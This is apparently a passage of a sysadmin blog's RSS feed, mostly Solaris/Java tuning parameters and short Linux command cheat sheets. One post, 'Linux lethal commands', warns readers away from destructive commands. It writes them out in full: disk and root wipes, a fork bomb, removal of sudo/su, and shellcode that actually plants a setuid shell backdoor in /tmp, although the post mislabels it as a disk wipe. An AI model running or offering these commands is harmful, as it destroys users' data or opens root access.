<pre>#javac Main.java
</pre>
<p><strong>Step 3:</strong> Generate <code>.h</code> file</p>
<p>Step 2 will result in an object called <code>probedObject.class</code>.  Use this class to generate the .h file using JNI as follows:</p>
<pre>#javah -jni probedObject
</pre>
<p><strong>Step 4:</strong> Write the C routine <code>javaProbe.c</code></p>
<pre>#include &lt;jni.h&gt;
#include "probedObject.h"
#include &lt;tnf/probe.h&gt;

JNIEXPORT void JNICALL Java_probedObject_objectCreateStart(JNIEnv *env,
                                                           jobject obj){
  TNF_PROBE_0(object_create_start, "object creation", "");
}

JNIEXPORT void JNICALL Java_probedObject_objectCreateEnd(JNIEnv *env,
                                                         jobject obj){
  TNF_PROBE_0(object_create_end, "object creation", "");
}
</pre>
<p><strong>Step 5:</strong> Generate the shared library</p>
<pre>#cc -G -I/usr/java/include -I/usr/java/include/solaris javaProbe.c -o libjavaProbe.so
</pre>
<p><strong>Step 6:</strong> Run the program under <code>prex</code>.</p>
<p>Please note that <code>prex</code> has a circular buffer as mentioned  in the man pages for <code>prex</code>. Use the <code>-o</code> and <code>-s</code> options for <code>prex</code>, as needed.</p>
<pre> darwin 69 =&gt;prex java Main
Target process stopped
Type "continue" to resume the target, "help" for help ...
prex&gt; enable $all
prex&gt; continue
Target process exec'd
</pre>
<p><strong>Step 7:</strong> Use the <code>tnfdump</code> on the output trace file to get the ASCII output, or use the <code>tnfmerge</code> to merge trace files. For information of TNF (Trace Normal Form) <code>TNF</code>, including <code>TNFView</code> and <code>tnfmerge</code>, refer to <em>Performance Profiling Using TNF</em>.</p>
<p><a name="jvmpi"></a></p>
<h4>JVMPI</h4>
<p>The JVMPI (Java Virtual Machine Profiler Interface) is a two-way function call interface between the Java virtual machine and an in-process profiler agent. On one hand, the virtual machine notifies the profiler agent of various events, corresponding to, for example, heap allocation, thread start, etc. On the other hand, the profiler agent issues controls and requests for more information through the JVMPI. For example, the profiler agent can turn on/off a specific event notification based on the needs of the profiler front-end. A detailed overview of JVMPI can be found at <a href="http://java.sun.com/j2se/1.3/docs/guide/jvmpi/jvmpi.html">Java Virtual Machine Profiler Interface (JVMPI)</a>.</p>
<h4>Commercial Profiling Tools</h4>
<p>Commercial and public source profiling tools are mentioned here.   All of them use the JVMPI.</p>
<ul>
<li><a name="jprobe"></a> <a href="http://www.quest.com/jprobe/">JProbe Profiler with Memory Debugger</a></li>
<li><a name="optimize"></a> <a href="http://www.borland.com/optimizeit/optimizeit_suite/">OptimizeIt Suite</a></li>
</ul>
<h4>Tuning Parameters</h4>
<h5>Solaris 8 Tuning Parameters</h5>
<p>Below are the Solaris 8 and JVM tuning parameters found to work  best with server-side Java applications.  The tuning parameters are  listed with a brief description.  A more in-depth look at when to  use these parameters is discussed in the Analysis Tools and Tuning  Process sections.</p>
<p><a name="/etc/system"></a></p>
<h5>/etc/system</h5>
<p>The table below is a list of <code>/etc/system</code> tuning parameters used  during the performance study. The changes are applied by appending  each to the <code>/etc/system</code> file and rebooting the system.</p>
<table border="0" cellspacing="1" cellpadding="0" bgcolor="#000000">
<tbody>
<tr>
<td align="CENTER">
<table border="0" cellspacing="1" cellpadding="10" align="CENTER" bgcolor="#ffffff">
<tbody>
<tr>
<td align="center"><em>/etc/system Option</em></td>
<td align="center"><em>Description</em></td>
</tr>
<tr>
<td><code>set rlim_fd_max=8192</code></td>
<td>&#8220;Hard&#8221; limit on file descriptors that a single process might have open. To override this limit requires superuser privilege.</td>
</tr>
<tr>
<td><code>set tcp:tcp_conn_hash_size=8192</code></td>
<td>Controls the hash table size in the TCP module for all TCP connections.</td>
</tr>
<tr>
<td><code>set autoup=900</code></td>
<td>Along with <code>tune_t_flushr, autoup</code> controls the amount of memory examined for dirty pages in each invocation and frequency of file system sync operations.</p>
<p>The value of <code>autoup</code> is also used to control whether a buffer is written out from the free list. Buffers marked with the <code>B_DELWRI</code> flag (file content pages that have changed) are written out whenever the buffer has been on the list for longer than <code>autoup</code> seconds.</p>
<p>Increasing the value of <code>autoup</code> keeps the buffers around for a longer time in memory.</td>
</tr>
<tr>
<td><code>set tune_t_fsflushr=1</code></td>
<td>Specifies the number of seconds between <code>fsflush</code> invocations.</td>
</tr>
<tr>
<td><code>set rechoose_interval=150</code></td>
<td>Number of clock ticks before a process is deemed to have lost all affinity for the last CPU it ran on. After this interval expires, any CPU is considered a candidate for scheduling a thread. This parameter is relevant only for threads in the timesharing class. Real-time threads are scheduled on the first available CPU.</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
<p>A description of all /etc/system parameters can be found in the <a href="http://docs.sun.com/?q=%22Solaris+Tunable+Parameters%22" target="_blank">Solaris Tunable Parameters Reference Manual</a>.  <a name="/etc/rc2.d/S69inet"></a></p>
<h5>/etc/rc2.d/S69inet</h5>
<p>Below is a list of TCP kernel tuning parameters.  These are known  TCP tuning parameters for high throughput Java servers. The parameters  can be applied by executing each line individually with root privileges,  or appending each to the <code>/etc/rc2.d/S69inet</code> file and  rebooting the system.</p>
<p>A detailed description of each of these parameters can be found  in the  <a href="http://docs.sun.com/?q=%22Solaris+Tunable+Parameters%22">Solaris TunableË Parameters Reference Manual</a>.</p>
<table border="0" cellspacing="1" cellpadding="0" bgcolor="#000000">
<tbody>
<tr>
<td align="CENTER">
<table border="0" cellspacing="1" cellpadding="10" align="CENTER" bgcolor="#ffffff">
<tbody>
<tr>
<td align="center"><em>/etc/rc2.d/S69inet Option</em></td>
<td align="center"><em>Description</em></td>
</tr>
<tr>
<td><code>ndd -set /dev/tcp tcp_xmit_hiwat 65535<br />
ndd -set /dev/tcp tcp_recv_hiwat 65535</code></td>
<td>The default send window size in bytes.<br />
The default receive window size in bytes.</td>
</tr>
<tr>
<td><code>ndd -set /dev/tcp tcp_cwnd_max 65535</code></td>
<td>The maximum value of TCP congestion window (<code>cwnd</code>) in bytes.</td>
</tr>
<tr>
<td><code>ndd -set /dev/tcp tcp_rexmit_interval_min 3000</code></td>
<td>The default minimum retransmission timeout (<code>RTO</code>) value in milliseconds. The calculated <code>RTO</code> for all TCP connections cannot be lower than this value.</td>
</tr>
<tr>
<td><code>ndd -set /dev/tcp tcp_rexmit_interval_max 10000</code></td>
<td>The default maximum retransmission timeout value (<code>RTO</code>) in milliseconds. The calculated <code>RTO</code> for all TCP connections cannot exceed this value.</td>
</tr>
<tr>
<td><code>ndd -set /dev/tcp tcp_rexmit_interval_initial 3000</code></td>
<td>The default initial retransmission timeout value (<code>RTO</code>) in milliseconds.</td>
</tr>
<tr>
<td><code>ndd -set /dev/tcp tcp_time_wait_interval 60000</code></td>
<td>The time in milliseconds a TCP connection stays in <code>TIME-WAIT</code> state. Refer to RFC 1122, 4.2.2.13 for more information.</td>
</tr>
<tr>
<td><code>ndd -set /dev/tcp tcp_keepalive_interval 900000</code></td>
<td>The time in milliseconds a TCP connection stays in <code>KEEP-ALIVE</code> state.  Refer to RFC 1122, 4.2.2.13 for more information.</td>
</tr>
<tr>
<td><code>ndd -set /dev/tcp tcp_conn_req_max_q 1024</code></td>
<td>The default maximum number of pending TCP connections for a TCP listener waiting to be accepted by <code>accept(SOCKET)</code>.</td>
</tr>
<tr>
<td><code>ndd -set /dev/tcp tcp_conn_req_max_q0 4096</code></td>
<td>The default maximum number of incomplete (three-way handshake not yet finished) pending TCP connections for a TCP listener.</p>
<p>Refer to RFC 793 for more information on TCP three-way handshake.</td>
</tr>
<tr>
<td><code>ndd -set /dev/tcp tcp_ip_abort_interval 60000</code></td>
<td>The default total retransmission timeout value for a TCP connection in milliseconds. For a given TCP connection, if TCP has been re-transmitting for <code>tcp_ip_abort_interval</code> period and it has not received any acknowledgment from the other endpoint during this period, TCP closes this connection.</td>
</tr>
<tr>
<td><code>ndd -set /dev/tcp tcp_smallest_anon_port 1024</code></td>
<td>The default port number where anonymous port allocation is allowed (<code>default: ?</code>).</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
<h4>Java Application Tuning Parameters</h4>
<p>Brief suggestions for basic Java server applications are listed below.</p>
<p><a name="execution"></a></p>
<h5>Number of Execution Threads</h5>
<p>A general rule for thread count is to use as few threads as possible. The  JVM performs best with the fewest busy threads. A good starting point for  thread count can be found with the following equations.</p>
<blockquote><p>(Number of Java Execution Threads) = Number of Transactions / Time(in seconds)</p>
<p>or</p>
<p>(Number of Execution Threads)=Throughput(transactions/sec)</p></blockquote>
<p>It is important to remember that these equations give a good  starting point for thread count tuning, not the best value for  thread count for your application.  The number of execution  Threads can greatly influence performance; therefore, the proper  sizing of this value is very important.</p>
<p><a name="database"></a></p>
<h5>Number of Database Connections</h5>
<p>The number of database connections, commonly known as a  connection or resource pool, is closely tied to the number  of execution threads.  A rule of thumb is to match the number  of database connections to the number of execute threads. This  is a good starting point for finding the correct number of database  connections. Over-configuring this value could cause unnecessary  overhead to the database, while under-configuring could tie up  all execution threads waiting on database I/O.</p>
<p>(Number of Database Connections) = (Number of Execution Threads)</p>
<p><a name="software"></a></p>
<h5>Software Caches</h5>
<p>Many server-side Java applications implement some type of  software cache, commonly for JDBC result sets, or commonly  generated, dynamic pages.  Software caches are the most likely  part of an application to cause unnecessary garbage collection  overhead resulting from the software cache architecture and the  replacement policy of the cache.</p>
<p>Most middle tier applications will have some sort of caching.  These caches should be studied with GC in mind to see if they  result in greater GC. Choose the architecture and replacement  strategy that has lower GC.  Careful implementation of caches  with garbage collection in mind greatly improves performance  simply by limiting garbage.</p>
<h4>Java Virtual Machine Tuning Parameters</h4>
<p>Below are a few Java Virtual Machine Tuning Parameters that have been found to improve performance. There are many more tuning parameters; the following are examples of what has worked for us. A detailed list of all tuning parameters can be found <a href="http://java.sun.com/docs/hotspot/VMOptions.html">Java HotSpot VM Options</a>.</p>
<table style="height: 440px;" border="0" cellspacing="1" cellpadding="10" width="733" align="CENTER" bgcolor="#ffffff">
<tbody>
<tr>
<td align="center"><em>Java VM Option</em></td>
<td align="center"><em>Description</em></td>
</tr>
<tr>
<td><code>-XX:+UseLWPSynchronization</code></td>
<td>Use LWP-based instead of thread based synchronization (SPARC only).</td>
</tr>
<tr>
<td><code>-XX:SurvivorRatio=40</code></td>
<td>Ratio of eden/survivor space size [Solaris: 64, Linux/Windows: 8].</td>
</tr>
<tr>
<td><code>-XX:NewSize=128m<br />
-XX:MaxNewSize=128m</code></td>
<td>Disable young generation resizing. To do this on Hotspot, simply the size of the young generation to a constant.</td>
</tr>
<tr>
<td><code>-Xms=512m<br />
-Xmx=512m</code></td>
<td>Overall size of Heap.</p>
<p>.</p>
<p>REF : <a class="aligncenter" title="http://developers.sun.com/solaris/articles/performance_tools.html" href="http://developers.sun.com/solaris/articles/performance_tools.html" target="_blank">http://developers.sun.com/solaris/articles/performance_tools.html</a></td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://sysadminupdates.com/blog/2010/04/20/performance-tools-and-tuning-tips-for-java-technology-based-server-applications-on-the-solaris-os/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux lethal commands</title>
		<link>http://sysadminupdates.com/blog/2010/03/18/linux-lethal-commands/</link>
		<comments>http://sysadminupdates.com/blog/2010/03/18/linux-lethal-commands/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 12:10:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux Operating System]]></category>
		<category><![CDATA[linux unix issues and fixes]]></category>

		<guid isPermaLink="false">http://sysadminupdates.com/blog/?p=61</guid>
		<description><![CDATA[In this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption,  can freeze or hang up running system.
NEVER RUN THESE COMMANDS IN LINUX  BOX CLI!
Even if somebody advises you in forum/im to do it.
1. Any of these commands will erase [...]]]></description>
			<content:encoded><![CDATA[<p>In this post I will collect all commands which <strong>SHOULD NEVER</strong> be executed in Linux. Any of them will cause data loss or corruption,  can freeze or hang up running system.</p>
<p><strong>NEVER RUN THESE COMMANDS IN LINUX  BOX CLI!</strong></p>
<p>Even if somebody advises you in forum/im to do it.</p>
<p>1. Any of these commands will erase everything from your home  directory, root or just will clear up whole disk:</p>
<ul>
<li><strong>sudo rm -rf /</strong></li>
<li><strong>rm -rf .* </strong></li>
<li><strong>dd if=/dev/zero of=/dev/sda</strong></li>
<li><strong>mkfs.ext3 /dev/hda</strong></li>
<li><strong>whatever &gt; /dev/hda</strong></li>
<li><strong>cd ~; for x in `ls`; do mv -f $x $y; y=$x; done </strong></li>
<li><strong>find -type f -mtime +30 -exec mv {} /dev/null \;</strong></li>
<li><strong>mv ~ /dev/null</strong></li>
<li><strong>mv / /dev/null</strong></li>
</ul>
<p>2. Causes kernel panic or freezes Linux box:</p>
<ul>
<li><strong>dd if=/dev/random of=/dev/port</strong></li>
<li><strong> <img src='http://sysadminupdates.com/blog/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){:|:&amp;};:</strong> #also known as <a href="http://en.wikipedia.org/wiki/Fork_bomb">fork bomb</a></li>
</ul>
<p>3. This one does the same as “rm -rf /”:</p>
<p><strong>char esp[] __attribute__ ((section(“.text”))) /* e.s.p<br />
release */<br />
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″<br />
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″<br />
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″<br />
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″<br />
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″<br />
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″<br />
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″<br />
“cp -p /bin/sh /tmp/.beyond; chmod 4755<br />
/tmp/.beyond;”;</strong></p>
<p>4. This one will prevent you from executing commands with root  rights:</p>
<p><strong>rm -f /usr/bin/sudo;rm -f /bin/su</strong></p>
<p>If you know any other commands that can damage running Linux system or pose fatal problem to system administrators — just comment  it here so I could update this post. Thanks.</p>
]]></content:encoded>
			<wfw:commentRss>http://sysadminupdates.com/blog/2010/03/18/linux-lethal-commands/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using RPM and dpkg</title>
		<link>http://sysadminupdates.com/blog/2010/03/18/using-rpm-and-dpkg/</link>
		<comments>http://sysadminupdates.com/blog/2010/03/18/using-rpm-and-dpkg/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 11:33:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux Operating System]]></category>

		<guid isPermaLink="false">http://sysadminupdates.com/blog/?p=58</guid>
		<description><![CDATA[The /bin/rpm program on Red Hat and derivitives and the /usr/bin/dpkg on
Debian and derivitives are used to control the management of packages.
• Remove a package
# rpm -e &#60;package-name&#62;
# dpkg -r &#60;package-name&#62;
• List contents of entire package
# rpm -qvl &#60;package-name.rpm&#62;
# dpkg -c &#60;package-name.deb&#62;
• List all installed packages with info about each
# rpm -qvia
# dpkg -l
• List [...]]]></description>
			<content:encoded><![CDATA[<p>The /bin/rpm program on Red Hat and derivitives and the /usr/bin/dpkg on<br />
Debian and derivitives are used to control the management of packages.<br />
• Remove a package<br />
# rpm -e &lt;package-name&gt;<br />
# dpkg -r &lt;package-name&gt;<br />
• List contents of entire package<br />
# rpm -qvl &lt;package-name.rpm&gt;<br />
# dpkg -c &lt;package-name.deb&gt;<br />
• List all installed packages with info about each<br />
# rpm -qvia<br />
# dpkg -l<br />
• List contents of a package<br />
# rpm -qvpl &lt;package-name.rpm&gt;<br />
# dpkg -c &lt;package-name.deb&gt;<br />
• Print information about a package<br />
# rpm -qpi &lt;package-name.rpm&gt;<br />
# dpkg -I &lt;package-name.deb&gt;<br />
• Verify package characteristics (basic integrity check)<br />
# rpm -Va<br />
# debsums -a<br />
• Determine to which package a file belongs<br />
# rpm -qf &lt;/path/to/file&gt;<br />
# dpkg -S &lt;/path/to/file&gt;<br />
• Install new package<br />
# rpm -Uvh &lt;package-name.rpm&gt;<br />
# dpkg -i &lt;package-name.deb&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://sysadminupdates.com/blog/2010/03/18/using-rpm-and-dpkg/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Printing linux commands</title>
		<link>http://sysadminupdates.com/blog/2010/03/18/printing-linux-commands/</link>
		<comments>http://sysadminupdates.com/blog/2010/03/18/printing-linux-commands/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 11:05:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux Operating System]]></category>

		<guid isPermaLink="false">http://sysadminupdates.com/blog/?p=49</guid>
		<description><![CDATA[/etc/rc.d/init.d/lpd start Start the print daemon
/etc/rc.d/init.d/lpd stop Stop the print daemon
/etc/rc.d/init.d/lpd
status
Display status of the print daemon
lpq Display jobs in print queue
lprm Remove jobs from queue
lpr Print a file
lpc Printer control tool
man subject &#124; lpr Print the manual page called subject
as plain text
man -t subject &#124; lpr Print the manual page called subject
as Postscript output
printtool Start [...]]]></description>
			<content:encoded><![CDATA[<p><img src="file:///C:/DOCUME~1/239674/LOCALS~1/Temp/moz-screenshot-1.png" alt="" />/etc/rc.d/init.d/lpd start Start the print daemon<br />
/etc/rc.d/init.d/lpd stop Stop the print daemon<br />
/etc/rc.d/init.d/lpd<br />
status<br />
Display status of the print daemon<br />
lpq Display jobs in print queue<br />
lprm Remove jobs from queue<br />
lpr Print a file<br />
lpc Printer control tool<br />
man subject | lpr Print the manual page called subject<br />
as plain text<br />
man -t subject | lpr Print the manual page called subject<br />
as Postscript output<br />
printtool Start X printer setup interface</p>
<p><img src="file:///C:/DOCUME%7E1/239674/LOCALS%7E1/Temp/moz-screenshot-2.png" alt="" /></p>
<p><img src="file:///C:/DOCUME%7E1/239674/LOCALS%7E1/Temp/moz-screenshot.png" alt="" /></p>
]]></content:encoded>
			<wfw:commentRss>http://sysadminupdates.com/blog/2010/03/18/printing-linux-commands/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Configuration files and what they do</title>
		<link>http://sysadminupdates.com/blog/2010/03/18/configuration-files-and-what-they-do/</link>
		<comments>http://sysadminupdates.com/blog/2010/03/18/configuration-files-and-what-they-do/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 11:04:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux Operating System]]></category>
		<category><![CDATA[linux unix issues and fixes]]></category>

		<guid isPermaLink="false">http://sysadminupdates.com/blog/?p=47</guid>
		<description><![CDATA[/etc/profile System wide environment variables for
all users.
/etc/fstab List of devices and their associated mount
points. Edit this file to add cdroms, DOS
partitions and floppy drives at startup.
/etc/motd Message of the day broadcast to all users
at login.
etc/rc.d/rc.local Bash script that is executed at the end of
login process. Similar to autoexec.bat in
DOS.
/etc/HOSTNAME Conatins full hostname including domain.
/etc/cron.* There [...]]]></description>
			<content:encoded><![CDATA[<p>/etc/profile System wide environment variables for<br />
all users.<br />
/etc/fstab List of devices and their associated mount<br />
points. Edit this file to add cdroms, DOS<br />
partitions and floppy drives at startup.<br />
/etc/motd Message of the day broadcast to all users<br />
at login.<br />
etc/rc.d/rc.local Bash script that is executed at the end of<br />
login process. Similar to autoexec.bat in<br />
DOS.<br />
/etc/HOSTNAME Conatins full hostname including domain.<br />
/etc/cron.* There are 4 directories that automatically<br />
execute all scripts within the directory at<br />
intervals of hour, day, week or month.<br />
/etc/hosts A list of all know host names and IP<br />
addresses on the machine.<br />
/etc/httpd/conf Paramters for the Apache web server<br />
/etc/inittab Specifies the run level that the machine<br />
should boot into.<br />
/etc/resolv.conf Defines IP addresses of DNS servers.<br />
/etc/smb.conf Config file for the SAMBA server. Allows<br />
file and print sharing with Microsoft<br />
clients.<br />
/etc/X11/XF86Confi<br />
g<br />
Config file for X-Windows.<br />
~/.xinitrc Defines the windows manager loaded by<br />
X. ~ refers to user’s home directory.</p>
]]></content:encoded>
			<wfw:commentRss>http://sysadminupdates.com/blog/2010/03/18/configuration-files-and-what-they-do/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Installing software for Linux</title>
		<link>http://sysadminupdates.com/blog/2010/03/18/installing-software-for-linux/</link>
		<comments>http://sysadminupdates.com/blog/2010/03/18/installing-software-for-linux/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 11:03:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux Operating System]]></category>
		<category><![CDATA[linux unix issues and fixes]]></category>

		<guid isPermaLink="false">http://sysadminupdates.com/blog/?p=44</guid>
		<description><![CDATA[rpm -ihv name.rpm Install the rpm package called name
rpm -Uhv name.rpm Upgrade the rpm package called
name
rpm -e package Delete the rpm package called
package
rpm -l package List the files in the package called
package
rpm -ql package List the files and state the installed
version of the package called
package
rpm -i &#8211;force package Reinstall the rpm package called
name having deleted [...]]]></description>
			<content:encoded><![CDATA[<p>rpm -ihv name.rpm Install the rpm package called name<br />
rpm -Uhv name.rpm Upgrade the rpm package called<br />
name<br />
rpm -e package Delete the rpm package called<br />
package<br />
rpm -l package List the files in the package called<br />
package<br />
rpm -ql package List the files and state the installed<br />
version of the package called<br />
package<br />
rpm -i &#8211;force package Reinstall the rpm package called<br />
name having deleted parts of it (not<br />
deleting using rpm -e)<br />
tar -zxvf archive.tar.gz or<br />
tar -zxvf archive.tgz<br />
Decompress the files contained in<br />
the zipped and tarred archive called<br />
archive<br />
./configure Execute the script preparing the<br />
installed files for compiling</p>
]]></content:encoded>
			<wfw:commentRss>http://sysadminupdates.com/blog/2010/03/18/installing-software-for-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Accessing &amp; mounting file systems</title>
		<link>http://sysadminupdates.com/blog/2010/03/18/accessing-mounting-file-systems/</link>
		<comments>http://sysadminupdates.com/blog/2010/03/18/accessing-mounting-file-systems/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 11:02:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux Operating System]]></category>
		<category><![CDATA[linux unix issues and fixes]]></category>

		<guid isPermaLink="false">http://sysadminupdates.com/blog/?p=42</guid>
		<description><![CDATA[mount -t iso9660 /dev/cdrom
/mnt/cdrom
Mount the device cdrom
and call it cdrom under the
/mnt directory
mount -t msdos /dev/hdd
/mnt/ddrive
Mount hard disk “d” as a
msdos file system and call
it ddrive under the /mnt
directory
mount -t vfat /dev/hda1
/mnt/cdrive
Mount hard disk “a” as a
VFAT file system and call it
cdrive under the /mnt
directory
umount /mnt/cdrom Unmount the cdrom
]]></description>
			<content:encoded><![CDATA[<p>mount -t iso9660 /dev/cdrom<br />
/mnt/cdrom<br />
Mount the device cdrom<br />
and call it cdrom under the<br />
/mnt directory<br />
mount -t msdos /dev/hdd<br />
/mnt/ddrive<br />
Mount hard disk “d” as a<br />
msdos file system and call<br />
it ddrive under the /mnt<br />
directory<br />
mount -t vfat /dev/hda1<br />
/mnt/cdrive<br />
Mount hard disk “a” as a<br />
VFAT file system and call it<br />
cdrive under the /mnt<br />
directory<br />
umount /mnt/cdrom Unmount the cdrom</p>
]]></content:encoded>
			<wfw:commentRss>http://sysadminupdates.com/blog/2010/03/18/accessing-mounting-file-systems/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux machine Starting, Stopping and restart</title>
		<link>http://sysadminupdates.com/blog/2010/03/18/starting-stopping/</link>
		<comments>http://sysadminupdates.com/blog/2010/03/18/starting-stopping/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 10:57:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux Operating System]]></category>
		<category><![CDATA[linux unix issues and fixes]]></category>

		<guid isPermaLink="false">http://sysadminupdates.com/blog/?p=39</guid>
		<description><![CDATA[shutdown -h now Shutdown the system now and do not
reboot
halt Stop all processes &#8211; same as above
shutdown -r 5 Shutdown the system in 5 minutes and
reboot
shutdown -r now Shutdown the system now and reboot
shutdown -r -F now   Force fsck on reboot.
shutdown -r -f now   skip fsck on reboot.
reboot Stop all processes and then reboot &#8211; [...]]]></description>
			<content:encoded><![CDATA[<p>shutdown -h now Shutdown the system now and do not<br />
reboot<br />
halt Stop all processes &#8211; same as above<br />
shutdown -r 5 Shutdown the system in 5 minutes and<br />
reboot</p>
<p>shutdown -r now Shutdown the system now and reboot</p>
<p>shutdown -r -F now   Force fsck on reboot.</p>
<p>shutdown -r -f now   skip fsck on reboot.</p>
<p>reboot Stop all processes and then reboot &#8211; same<br />
as above<br />
startx Start the X system</p>
]]></content:encoded>
			<wfw:commentRss>http://sysadminupdates.com/blog/2010/03/18/starting-stopping/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
